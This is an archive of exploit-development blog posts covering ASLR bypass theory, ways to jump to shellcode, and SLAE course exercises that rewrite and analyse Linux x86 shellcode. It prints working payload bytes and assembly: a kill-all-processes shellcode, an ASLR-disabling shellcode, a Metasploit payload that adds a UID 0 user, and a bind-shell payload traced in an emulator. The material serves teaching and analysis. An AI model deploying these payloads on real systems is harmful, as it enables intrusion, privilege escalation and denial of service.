Showing posts with label Assembly. Show all posts
Showing posts with label Assembly. Show all posts

Wednesday, June 7, 2017

Exploit Dev 101: Bypassing ASLR on Windows

Note: This post is quite theoretical (yuk!) but I'll work on providing a hands-on demo sometime in the future.

What is ASLR?

Address space layout randomization (ASLR) is a memory protection techniques that tries to prevent an attacker from creating a reliable exploit. What it does is simple, a binary is loaded at a different base address in memory upon restart (or reboot for OS dlls). It also randomizes the base addresses for memory segments like the heap and the stack. This makes it harder for attackers to guess the correct address.

ASLR was introduced in Windows Vista and is in all newer versions. To make use of it, the executable needs to be compiled with /DYNAMICBASE option as well. OS dlls have that by default.

A way to see this taking place is by attaching an executable supporting ASLR (WinRAR in example below). Attach it to OllyDbg and go to the memory tab (ALT+M).

Restart WinRAR.


Note that the he higher two bytes get randomized, lower ones don't.

How does it make exploitation harder?

Most exploits require a way to redirect execution to the payload, this can be done by many different ways. What all these techniques got in common is finding an instruction that will "trigger" the payload by jumping to the address. Since addresses are hard coded they won't work after restart/reboot/different machine.

Example: JMP ESP is at 0x12345678 in test.dll, upon restart, address is now located at 0xABCD5678.

Bypassing ASLR

Next I'll discuss 4 (more like 3) techniques on bypassing ASLR, each with pros, cons and study cases if any.
 

1. Abusing non-ASLR enabled libraries

Programmers make mistakes, to make full use of ASLR, all loaded libraries need to be supporting it. If a single module doesn't you can make use of it by finding search that library for the needed instruction to jump to your shellcode.

Pros:
  • Reliable.
Cons:
  • None.
Study case:
  • CoolPlayer+ Portable 2.19.6 - '.m3u' Stack Overflow (Egghunter + ASLR Bypass), can be found here.

 

 2. Partial EIP overwrite

Since you control EIP, you also control how much of EIP you want to overwrite.
As already mentioned, ASLR only randomizes the higher two bytes, what if you can make use of that and only overwrite the lower 2 bytes?

Example: DLL is loaded at 0xAABB0000, if you overwrite only the lower two bytes (thanks to small endianness) you can basically control EIP to jump anywhere in 0xAABB0000 to 0xAABBXXYY.

Pros:
  • Big pool to search for the needed instruction from (16^4).
Cons:
  • Can't use bad characters.
Study case:
  • MS07-017, more info can be found here.

2.1 Single byte overwrite

Sometimes a character gets appended to your string, for example a null byte. This will mess up with the previous technique as when you try to overwrite the lower 2 bytes of EIP it becomes 0xAA00XXYY instead of 0xAABBXXYY. Although this limits the possibility of finding a proper instruction, you might still be able to get away with a single byte.

Search the 0xAABB0000 to 0xAABB00FF for possible instructions that can be used to land you your shellcode. 256 combinations aren't a lot so good luck with that.

Pros:
  • It's not over yet.
Cons: 
  • Very small search space (0x00 to 0xFF)
  • Still can't use bad characters.

3. Bruteforcing address space

Since we know that only the 2 higher bytes are randomized, what if we try to bruteforce all the possible combination? This method is risky (might crash the service), slow and adds a lot of overhead.

Pros:
  • Unless the higher bytes contain a bad char, it should work.
Cons: 
  • Large search space (0x0000 to 0xFFFF)
  • Huge overhead, service might crash and not restart.
  • Still can't use bad characters.
Study case:
  • Samba 2.2.8 (Linux x86) - 'trans2open' Overflow (Metasploit), can be found here.

4. Ultra-luck mode


Needed instruction is found at 0x0000XXYY, 0x0001XXYY, ... , 0xFFFFXXYY.

Pros:
  • Very cool.
Cons: 
    • Doesn't work.


    That's it! I'll work on a demo to utilize those techniques in the future.

      - Abatchy

        Tuesday, May 30, 2017

        Exploit Dev 101: Jumping to Shellcode

        Note: This post summarizes the techniques discussed in Corelan post on jumping to shellcode. Read it for better understanding.

        So you managed to control EIP and you want to jump to your shellcode. Check the condition for each technique and see if you can make it work to reach your shellcode.

        1. JMP/CALL register

        Conditions:
            ○ A register points to shellcode.
        Example:
            ○ [Register] → [Shellcode]
            ○ EIP → JMP/CALL [register]
            ○ EIP now points to [register] where shellcode.
        Pros:
            ○ Easy to apply.
            ○ Common instruction.
        Cons:
            ○ None.

        2. POP RET / POP POP RET / POP POP POP RET

        Condition:
            ○ Address at [ESP+4], [ESP+8], [ESP+12] (and so on) points to address to shellcode OR directly to shellcode.
        Example 1:
            ○ [ESP] → [4 bytes][Address to shellcode].
            ○ EIP → POP [register] followed by RET.
                § POP [register]: ESP now points to old_ESP + 4
                § RET: EIP now contains address to shellcode.
            ○ EIP now points to shellcode.
        Example 2:
            ○ [ESP] → [8 bytes][Address to JMP ESP][shellcode].
            ○ EIP → POP [register] followed by POP [register] followed by RET:
                § POP [register], POP [register] will get rid of 8 bytes, new ESP → old ESP + 8 (Address to JMP ESP)
                § RET places address to JMP ESP in EIP and now ESP now points to shellcode.
                § JMP ESP: EIP now contains ESP
            ○ EIP points to current ESP value which points to start of shellcode.
        Pros:
            ○ Straightforward (slightly harder than method 1).
            ○ Lots of possible combinations to find instruction.
        Cons:
            ○ Less frequent pattern.

        3. PUSH  RET

        Condition:
            ○ A register points to shellcode and can't/don't want to use method 1.
        Example:
            ○ [Register]→ [Shellcode]
            ○ EIP → PUSH [register], followed by RET
                § Stack will first push register, then pop it to EIP.
            ○ EIP now points to shellcode.
        Pros:
            ○ Easy to apply.
            ○ Fallback if method 1 can't be done.
        Cons:
            ○ None.

        4. JMP [register + offset]

        Condition:
            ○ A register + offset points to shellcode.
        Example:
            ○ [Register] → [Shellcode]
            ○ EIP → JMP [register + offset]
            ○ EIP will point to [register + offset] where the shellcode starts.
        Pros:
            ○ Easy to apply.
        Cons:
            ○ Doesn't work if [register + offset] points to address to shellcode as ESP doesn't change and a RET won't work.
           

        5. Blind return

        Condition:
            ○ Shellcode is always loaded to the same address.
            ○ Address doesn't contain a null byte.
            ○ You control at least the first 4 bytes at [ESP]
        Example:
            ○ Shellcode is always at 0xdeadbeef
            ○ Since you control the first 4 bytes at ESP, put 0xdeadbeef at ESP.
            ○ By pointing EIP to a RET, address at ESP will be popped to EIP.
            ○ EIP now points to address 0xdeadbeef where the shellcode starts.
        Pros:
            ○ Easiest method, only need a RET.
            ○ Fixed address.
        Cons:
            ○ Heavy dependency on hardcoded address.
            ○ Address can't contain null byte (good luck with stack at low address).
            ○ Assumes no ASLR.

        6. POPAD

        Condition:
            ○ Shellcode is located at [ESP + 32x + offset]
            ○ Enough controllable space to execute POPAD y times then JMP ESP.
        Example:
            ○ [ESP + 240] → [Shellcode]
            ○ [ESP + 32 * 7] → [NOP sled]
            ○ [ESP] → POPAD 7 times followed by JMP ESP
            ○ EIP → [JMP ESP]
                § EIP will execute POPAD 7 times, ESP = old_ESP + 224
                § EIP goes over NOP sled
            ○ EIP after executing NOP sled, it will point to [ESP + 240] where the shellcode starts.
        Pros:
            ○ POPAD is a single byte.
            ○ ESP gets incremented with 32 every time POPAD is executed.
        Cons:
            ○ Requires NOP sled.
            ○ Less reliable than Method 1/2/3/4

        7. Short jumps (backwards, forwards, conditional)

        Condition:
            ○ Shellcode is located at [ESP + offset] where -128 < offset < 127.
        Example:
            ○ [ESP + 30] → [Shellcode]
            ○ [ESP] → JMP 30
            ○ EIP → [JMP ESP]
                § EIP will execute a short JMP
            ○ EIP will point to [ESP + 30] where the shellcode starts.
        Pros:
            ○ Simple instruction.
            ○ Reliable, no NOP sled is needed.
        Cons:
            ○ Restricted by being a short JMP.
           

        8. Hardcoded address

        Condition:
            ○ Shellcode is always located at specific address.
        Example:
            ○ 0xdeadbeef → [shellcode]
            ○ EIP → JMP ESP
            ○ ESP → JMP 0xdeadbeef
        Pros:
            ○ Simple instruction.
        Cons:
            ○ Unreliable.
            ○ Address can't contain null bytes.

        Following repo contains some snippets on various payload generation for the techniques below: https://github.com/abatchy17/ExploitDevSnippets/tree/master/Corelan

        Sunday, May 7, 2017

        Linux/x86 - Code Polymorphism examples

        This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
        http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
        Student ID: SLAE-885
        Assignment number: 6.2 and 6.3
        Github repo: https://github.com/abatchy17/SLAE  

        In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com, which basically means modifying the code so it doesn't look like the original yet has the same functionality. This post contains the remaining 2 parts for assignment 3.

        Linux/x86 - kill all processes 

        The following shellcode is written by Kris Katterjohn and can be found here.
        section .text
        
        global _start
        
        _start:
        
            ; kill(-1, SIGKILL)
        
            push byte 37
            pop eax
            push byte -1
            pop ebx
            push byte 9
            pop ecx
            int 0x80
        

        Very simple code, it sets EAX to 37 (syscall for kill()), sets EBX to -1 (to target all processes) and ECX to 9 (SIGKILL).

        Let's modify this code slightly:

        section .text
        
        global _start
        
        _start:
        
            ; kill(-1, SIGKILL)
        
            xor ebx, ebx
            dec ebx
            push byte 37
            pop eax
            push byte 9
            pop ecx
            int 0x80
        

        See what I did there? Shellcode is of same size so we're good.

        Linux/x86 - exit(0)

        The following shellcode is written by gunslinger_ and can be found here.

        /*
        Name   : 8 bytes sys_exit(0) x86 linux shellcode
        Date   : may, 31 2010
        Author : gunslinger_
        Web    : devilzc0de.com
        blog   : gunslinger.devilzc0de.com
        tested on : linux debian
        */
        
        char *bye=
         "\x31\xc0"                    /* xor    %eax,%eax */
         "\xb0\x01"                    /* mov    $0x1,%al */
         "\x31\xdb"                    /* xor    %ebx,%ebx */
         "\xcd\x80";                   /* int    $0x80 */
        
        int main(void)
        {
          ((void (*)(void)) bye)();
          return 0;
        }
        

        What can we do about this code? Well, mov al, 0x1 can be replaced with inc eax.

        global _start
        _start:
        
        xor eax, eax
        inc eax
        xor ebx, ebx
        int 0x80
        

        Shellcode is now one byte smaller, sweet.

        - Abatchy

        Linux/x86 - Disable ASLR Shellcode (71 bytes)

        This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
        http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
        Student ID: SLAE-885
        Assignment number: 6.1
        Github repo: https://github.com/abatchy17/SLAE  

        Note: A modified version has been published in exploit-db: https://www.exploit-db.com/exploits/41969/ (calls setruid first)

        In assignment 6, the requirement is polymorphing 3+ shellcodes off shellstorm.org or exploit-db.com, which basically means modifying the code so it doesn't look like the original yet has the same functionality. This is the first post out of three.


        Linux/x86 - Disable ASLR Shellcode (71 bytes)

        First shellcode I will dissect is a disable ASLR one by Mohammad Reza Ramezani, shellcode can be found here.

        Let's compile this code and instead of debugging it, we'll use strace tool

        abatchy@ubuntu:~/Desktop/workspace$ gcc 36637.c -fno-stack-protector -z execstack -o 36637.out
        abatchy@ubuntu:~/Desktop/workspace$ sudo su
        root@ubuntu:/home/abatchy/Desktop/workspace# strace ./36637.out 
        execve("./36637.out", ["./36637.out"], [/* 26 vars */]) = 0
        brk(0)                                  = 0x804b000
        access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
        mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
        access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
        open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
        fstat64(3, {st_mode=S_IFREG|0644, st_size=79136, ...}) = 0
        mmap2(NULL, 79136, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fc4000
        close(3)                                = 0
        access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
        open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
        read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0P\234\1\0004\0\0\0"..., 512) = 512
        fstat64(3, {st_mode=S_IFREG|0755, st_size=1763068, ...}) = 0
        mmap2(NULL, 1768060, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e14000
        mmap2(0xb7fbe000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1aa000) = 0xb7fbe000
        mmap2(0xb7fc1000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fc1000
        close(3)                                = 0
        mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e13000
        set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e13940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
        mprotect(0xb7fbe000, 8192, PROT_READ)   = 0
        mprotect(0x8049000, 4096, PROT_READ)    = 0
        mprotect(0xb7ffe000, 4096, PROT_READ)   = 0
        munmap(0xb7fc4000, 79136)               = 0
        open("/proc/sys/kernel/randomize_va_space", O_RDWR) = 3
        write(3, "0\n", 2)                      = 2
        _exit(0)                                = ?
        +++ exited with 0 +++
        


        Note: DO NOT run code directly without investigating it first and making sure it's totally safe.

        So 3 calls are what matter to us:

        1. open("/proc/sys/kernel/randomize_va_space", O_RDWR)
        2. write(3, "0\n", 2)
        3. exit(0)

        There seem to be room for improvement, so let's see if we can make this code significantly smaller.

        1. open("/proc/sys/kernel/randomize_va_space", O_RDWR)


        Minor refactoring.
        xor eax,eax
        jmp filename
        shellcode:
        pop ebx         ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
        mov byte [ebx + 35],al
        push byte 5
        pop eax
        push byte 2
        pop ecx
        int 80h
        
        We don't need O_RDWR permissions, but I tried making use of that with no avail.

        2. write(fd, "0\n", 2)


        1. mov ebx, eax: Since we don't care about EAX, an xchg eax,ebx is one byte less.

        2. push byte 2 - pop edx: ECX already contains 2, let's exchange them instead.

        3. jmp-call-pop: Got rid of it and replaced it with a push '0'

        xchg eax, ebx   ; One byte less than mov ebx, eax
        push byte 4
        pop eax
        xchg ecx, edx   ; ECX already contains 2
        push byte 0x30
        mov ecx, esp    ; ECX now points to "0"
        int 80h         ; EAX will now contains 1
        

        3. Exit(0)


        Is it a big deal exiting with non-zero status? Not really, so let's not nullify EBX (it currently contains the file descriptor).

        Can we do better? Yes! write() returns number of bytes written, which should be 1 (we only wrote "0"), so we can exit directly!

        int 80h         ; Yep, that's it
        

        Final shellcode


        section .text
        global _start
        
        _start:
        
        ;
        ; open("/proc/sys/kernel/randomize_va_spaceX", O_RDWR)
        ;
        xor eax,eax
        jmp aslr_file
        shellcode:
        pop ebx         ; EBX now points to '/proc/sys/kernel/randomize_va_spaceX'
        mov byte [ebx + 35],al
        push byte 5
        pop eax
        push byte 2
        pop ecx
        int 80h
        
        ;
        ; write(fd, '0', 1)
        ;
        xchg eax, ebx   ; One byte less than mov ebx, eax
        push byte 4
        pop eax
        xchg ecx, edx   ; ECX already contains 2
        push byte 0x30
        mov ecx, esp    ; ECX now points to "0"
        int 80h         ; EAX will now contains 1
        
        ;
        ; exit(0)
        ;
        int 80h         ; Yep, that's it
        
        aslr_file:
        call shellcode  ; Skips the filename and avoids using JMP
        db '/proc/sys/kernel/randomize_va_spaceX'
        

        Shellcode size has been cut down to 71 bytes (13 bytes less than original code).

        - Abatchy

        Saturday, May 6, 2017

        Analyzing Metasploit linux/x86/exec module using Ndisasm

        This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
        http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
        Student ID: SLAE-885
        Assignment number: 5.3
        Github repo: https://github.com/abatchy17/SLAE 

        In the third and final part of assignment 5 in SLAE, I'll be analyzing the linux/x86/exec module using Ndisasm.

        Ndisasm comes with Nasm assembler, unlike GDB and Libemu it doesn't execute any code, just converts shellcode to the corresponding instructions, so we'll be analyzing the instructions by hand.

        1. Setting payload parameters


        root@kali:~# msfvenom -p linux/x86/exec --payload-options
        Options for payload/linux/x86/exec:
        
        
               Name: Linux Execute Command
             Module: payload/linux/x86/exec
           Platform: Linux
               Arch: x86
        Needs Admin: No
         Total size: 36
               Rank: Normal
        
        Provided by:
            vlad902 <vlad902@gmail.com>
        
        Basic options:
        Name  Current Setting  Required  Description
        ----  ---------------  --------  -----------
        CMD                    yes       The command string to execute
        
        Description:
          Execute an arbitrary command
        

        Payload requires a single command, so let's use something simple like /bin/date.

        root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/date -f c
        No platform was selected, choosing Msf::Module::Platform::Linux from the payload
        No Arch selected, selecting Arch: x86 from the payload
        No encoder or badchars specified, outputting raw payload
        Payload size: 45 bytes
        Final size of c file: 213 bytes
        unsigned char buf[] = 
        "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
        "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0a\x00\x00\x00\x2f"
        "\x62\x69\x6e\x2f\x64\x61\x74\x65\x00\x57\x53\x89\xe1\xcd\x80";
        

        2. Analyzing payload with Ndisasm



        root@kali:~# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x64\x61\x74\x65\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -
        

        00000000  6A0B              push byte +0xb
        00000002  58                pop eax
        00000003  99                cdq
        00000004  52                push edx
        00000005  66682D63          push word 0x632d
        00000009  89E7              mov edi,esp
        0000000B  682F736800        push dword 0x68732f
        00000010  682F62696E        push dword 0x6e69622f
        00000015  89E3              mov ebx,esp
        00000017  52                push edx
        00000018  E80A000000        call dword 0x27
        0000001D  2F                das
        0000001E  62696E            bound ebp,[ecx+0x6e]
        00000021  2F                das
        00000022  6461              fs popad
        00000024  7465              jz 0x8b
        00000026  005753            add [edi+0x53],dl
        00000029  89E1              mov ecx,esp
        0000002B  CD80              int 0x80
        
        Okay let's go through every few commands and get an idea what's going on.
        push byte +0xb
        pop eax                 ; EAX = 0xb
        cdq                     ; Extend EAX -> EDX = 0x0
        push edx                ; Push zero byte
        

        Nothing special here so far.

        push word 0x632d        ; Translates to "-c"
        mov edi,esp             ; Make EDI point to top of stack, which contains "-c" terminated with a null character
        

        This part is constructing the command to be executed, -c will execute the command.

        push dword 0x68732f     ; PUSH "hs/"
        push dword 0x6e69622f   ; PUSH "nib/"
        mov ebx,esp             ; Make EBX point to top of stack "/bin/sh -c"
        push edx                ; Push another NULL byte
        

        Next part is interesting, code tells us to jump to instruction 27, but there isn't one! Reason is that there is a string starting at 1D till 27.

        root@kali:~# echo -ne "\x2f\x62\x69\x6e\x2f\x64\x61\x74\x65\x00"
        /bin/date
        

        Remaining instructions (after 27) are interpreted incorrectly, so let's pipe them again to ndisasm and come up with the correct instructions.

        oot@kali:~# echo -ne "\x57\x53\x89\xe1\xcd\x80" | ndisasm -u -
        00000000  57                push edi
        00000001  53                push ebx
        00000002  89E1              mov ecx,esp
        00000004  CD80              int 0x80
        

        Awesome, this makes more sense now. Let's rewrite the assembly code in a more understandable structure.

        00000000    push byte +0xb
        00000002    pop eax                 ; EAX = 0xb
        00000003    cdq                     ; Extend EAX -> EDX = 0x0
        00000004    push edx                ; Push zero byte
        00000005    push word 0x632d        ; Translates to "-c"
        00000009    mov edi,esp             ; Make EDI point to top of stack, which contains "-c" terminated with a null character
        0000000B    push dword 0x68732f     ; PUSH "hs/"
        00000010    push dword 0x6e69622f   ; PUSH "nib/"
        00000015    mov ebx,esp             ; Make EBX point to top of stack "/bin/sh"
        00000017    push edx                ; Push another NULL byte
        00000018    call dword 0x27         ; Address of "/bin/date" is pushed onto stack through "call"
        0000001D    "/bin/date"             ; Not executed
        00000027    push edi                ; Push pointer to "-c"
        00000027    push ebx                ; Push pointer to "/bin/sh"
        00000029    mov ecx,esp             ; ECX point to top of stack
                                            ; This is the "meat" of the shellcode, ECX points to [addr1][addr2][addr3][null]
                                            ; addr1 points to /bin/sh (0B, 10 and 15)
                                            ; addr2 points to -c (05 and 09)
                                            ; addr3 points to "/bin/date" (18 and 1D)
        
                                            ; NULL indicates end of argv[]
        0000002B    int 0x80                ; EAX = 0xb, which is syscall for execve()
                                            ; EBX points to argv[0]
                                            ; ECX points to &argv[0]
        

        TL;DR


        1. EAX is set to 0xb, which is the syscall number for execve()
        2. EBX points to "/bin/sh"
        3. ECX points to argv[] which is { "/bin/sh", "-c", "/bin/date" } 

        That's it!

        - Abatchy

        Analyzing Metasploit linux/x86/shell_bind_tcp_random_port module using Libemu

        This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
        http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
        Student ID: SLAE-885
        Assignment number: 5.2
        Github repo: https://github.com/abatchy17/SLAE  

        In the second part of assignment 5 in SLAE, I'll be analyzing the linux/x86/shell_bind_tcp_random_port module using Libemu.

        1. Setting payload parameters


        First let's check the options for this module.

        root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port --payload-options
        Options for payload/linux/x86/shell_bind_tcp_random_port:
        
        
               Name: Linux Command Shell, Bind TCP Random Port Inline
             Module: payload/linux/x86/shell_bind_tcp_random_port
           Platform: Linux
               Arch: x86
        Needs Admin: No
         Total size: 57
               Rank: Normal
        
        Provided by:
            Geyslan G. Bem <geyslan@gmail.com>
        
        Description:
          Listen for a connection in a random port and spawn a command shell. 
          Use nmap to discover the open port: 'nmap -sS target -p-'.
        

        I skipped over the advanced settings as they won't be discussed in this post. Lucky for us, this payload doesn't require any options as it will bind to the local IP and choose a port randomly (you'll use nmap to find that port).

        2. Analyzing payload with libemu

         

        After you install libemu (you might need to install a few packages like autoconf and libtool), let's pipe the raw output to ScTest (Iterate 1000 times with verbose output).

        root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000
        verbose = 3
        No platform was selected, choosing Msf::Module::Platform::Linux from the payload
        No Arch selected, selecting Arch: x86 from the payload
        No encoder or badchars specified, outputting raw payload
        Payload size: 57 bytes
        
        ... redacted ...
        
        int socket (
             int domain = 2;
             int type = 1;
             int protocol = 0;
        ) =  14;
        int listen (
             int s = 14;
             int backlog = 0;
        ) =  0;
        int accept (
             int sockfd = 14;
             sockaddr_in * addr = 0x00000000 => 
                 none;
             int addrlen = 0x00000002 => 
                 none;
        ) =  19;
        int dup2 (
             int oldfd = 19;
             int newfd = 14;
        ) =  14;
        int dup2 (
             int oldfd = 19;
             int newfd = 13;
        ) =  13;
        int dup2 (
             int oldfd = 19;
             int newfd = 12;
        ) =  12;
        int dup2 (
             int oldfd = 19;
             int newfd = 11;
        ) =  11;
        int dup2 (
             int oldfd = 19;
             int newfd = 10;
        ) =  10;
        int dup2 (
             int oldfd = 19;
             int newfd = 9;
        ) =  9;
        int dup2 (
             int oldfd = 19;
             int newfd = 8;
        ) =  8;
        int dup2 (
             int oldfd = 19;
             int newfd = 7;
        ) =  7;
        int dup2 (
             int oldfd = 19;
             int newfd = 6;
        ) =  6;
        int dup2 (
             int oldfd = 19;
             int newfd = 5;
        ) =  5;
        int dup2 (
             int oldfd = 19;
             int newfd = 4;
        ) =  4;
        int dup2 (
             int oldfd = 19;
             int newfd = 3;
        ) =  3;
        int dup2 (
             int oldfd = 19;
             int newfd = 2;
        ) =  2;
        int dup2 (
             int oldfd = 19;
             int newfd = 1;
        ) =  1;
        int dup2 (
             int oldfd = 19;
             int newfd = 0;
        ) =  0;
        int execve (
             const char * dateiname = 0x00416fb6 => 
                   = "/bin//sh";
             const char * argv[] = [
                   = 0xffffffff => 
                     none;
             ];
             const char * envp[] = 0x00000000 => 
                 none;
        ) =  0;
        

        Lots of debug info, but let's focus on the syscalls being made. To make it easier, sctest allows us to create a visual representation of the flow.

        root@kali:~/Desktop/libemu/tools/sctest# msfvenom -p linux/x86/shell_bind_tcp_random_port -f raw | ./sctest -vvv -Ss 10000 -G tcp_random_port.dot
        
        .. redacted..
        
        root@kali:~/Desktop/libemu/tools/sctest# ls
        dot.c        Makefile.in  sctest          sctest-sctestmain.o  tests.c
        dot.h        nanny.c      sctest-dot.o    sctest-tests.o       tests.h
        Makefile     nanny.h      sctestmain.c    sctest-userhooks.o   userhooks.c
        Makefile.am  options.h    sctest-nanny.o  tcp_random_port.dot  userhooks.h
        root@kali:~/Desktop/libemu/tools/sctest# dot tcp_random_port.dot -T png > tcp_random_port.png
        


        1. socket()


        int socket (
             int domain = 2;
             int type = 1;
             int protocol = 0;
        ) =  14;
        

        Same call we made for both bind and reverse shell previously, creating a socket that supports TCP communication, sockfd returned is 14.

        2. listen()


        int listen (
             int s = 14;
             int backlog = 0;
        ) =  0;
        

        Next, it starts a listener for incoming connections on sockfd. Note: bind() is not required and a random port is picked. Instead you'll need to scan the host for open ports. More info here: http://stackoverflow.com/questions/12763268/why-is-bind-used-in-tcp-why-is-it-used-only-on-server-side-and-not-in-client

        3. accept()


        int accept (
             int sockfd = 14;
             sockaddr_in * addr = 0x00000000 => 
                 none;
             int addrlen = 0x00000002 => 
                 none;
        ) =  19;
        

        When there's an incoming connection on the socket created earlier, accept it without storing the client data (sockaddr_in). New sockfd is 19.

        4. dup2() 


        Next, the traffic is redirected to the newly created socket (19) by calling dup2(), which will duplicate the STDIN,STDOUT and STDERR to the socket. Notice that there's a loop using ECX as an index, ECX's value is pulled from the latest value pushed onto stack.

        After accept(), there's a POP ECX command, which will now contain the value last pushed into stack. If you scroll up you'll find that it was a PUSH EAX. EAX contains the sockfd returned from socket(). This allows us to use a small number without worrying too much about looping too much.

        Of course, this logic any error check, but you don't have that luxury while shellcoding.

        5. execve()


        This part is simple, it's simply calls a /bin/sh shell.

        - Abatchy

        Thursday, May 4, 2017

        Analyzing Metasploit linux/x86/adduser module using GDB

        This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
        http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
        Student ID: SLAE-885
        Assignment number: 5.1
        Github repo: https://github.com/abatchy17/SLAE 

        Next assignment requires dissecting three linux/x86 MSF payloads using one of the following tools (GDB - ndisasm - libemu). In this post I'll show how the linux/x86/adduser is executed using GDB.

        1. Setting shellcode parameters


        First let's check the options for this module and try executing it.


        root@kali:~/Desktop/work# msfvenom -p linux/x86/adduser --payload-options
        Options for payload/linux/x86/adduser:
        
        
               Name: Linux Add User
             Module: payload/linux/x86/adduser
           Platform: Linux
               Arch: x86
        Needs Admin: Yes
         Total size: 97
               Rank: Normal
        
        Provided by:
            skape <mmiller@hick.org>
            vlad902 <vlad902@gmail.com>
            spoonm <spoonm@no$email.com>
        
        Basic options:
        Name   Current Setting  Required  Description
        ----   ---------------  --------  -----------
        PASS   metasploit       yes       The password for this user
        SHELL  /bin/sh          no        The shell for this user
        USER   metasploit       yes       The username to create
        
        Description:
          Create a new user with UID 0
        


        I skipped over the advanced settings as they won't be discussed in this post. As for the basic options, there are 3 values we need to set: PASS, SHELL and USER. Executing the payload will create a user with UID 0 using the credentials provided (USER/PASS), using SHELL as default shell.

        2. Generating shellcode


        root@kali:~/Desktop/SLAE# msfvenom -p linux/x86/adduser USER=abatchy PASS=killem -f c
        No platform was selected, choosing Msf::Module::Platform::Linux from the payload
        No Arch selected, selecting Arch: x86 from the payload
        No encoder or badchars specified, outputting raw payload
        Payload size: 94 bytes
        Final size of c file: 421 bytes
        unsigned char buf[] = 
        "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
        "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
        "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x61\x62"
        "\x61\x74\x63\x68\x79\x3a\x41\x7a\x62\x47\x66\x50\x36\x38\x38"
        "\x4e\x74\x61\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
        "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
        "\x01\x58\xcd\x80";
        

        Next, let's put the shellcode inside a C wrapper.
        /*
         adduserWrapper.c
        By Abatchy
        gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out
        */
        
        #include <stdio.h>
        #include <string.h>
        
        unsigned char buf[] = 
        "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
        "\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
        "\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x25\x00\x00\x00\x61\x62"
        "\x61\x74\x63\x68\x79\x3a\x41\x7a\x62\x47\x66\x50\x36\x38\x38"
        "\x4e\x74\x61\x2e\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69"
        "\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a"
        "\x01\x58\xcd\x80";
        
        int main()
        {
            printf("Shellcode size: %d\n", strlen(buf));
            int (*ret)() = (int(*)())buf;
            ret();
        }
        
        Compile, run GDB and break on shellcode.

        root@ubuntu:~/Desktop/workspace# gcc adduserWrapper.c -fno-stack-protector -z execstack -o adduserWrapper.out
        root@ubuntu:~/Desktop/workspace# chmod 777 adduserWrapper.out 
        root@ubuntu:~/Desktop/workspace# gdb -q adduserWrapper.out 
        Reading symbols from adduserWrapper.out...(no debugging symbols found)...done.
        (gdb) disass main
        Dump of assembler code for function main:
           0x0804844d <+0>: push   ebp
           0x0804844e <+1>: mov    ebp,esp
           0x08048450 <+3>: and    esp,0xfffffff0
           0x08048453 <+6>: sub    esp,0x20
           0x08048456 <+9>: mov    DWORD PTR [esp],0x804a040
           0x0804845d <+16>: call   0x8048330 <strlen@plt>
           0x08048462 <+21>: mov    DWORD PTR [esp+0x4],eax
           0x08048466 <+25>: mov    DWORD PTR [esp],0x8048520
           0x0804846d <+32>: call   0x8048310 <printf@plt>
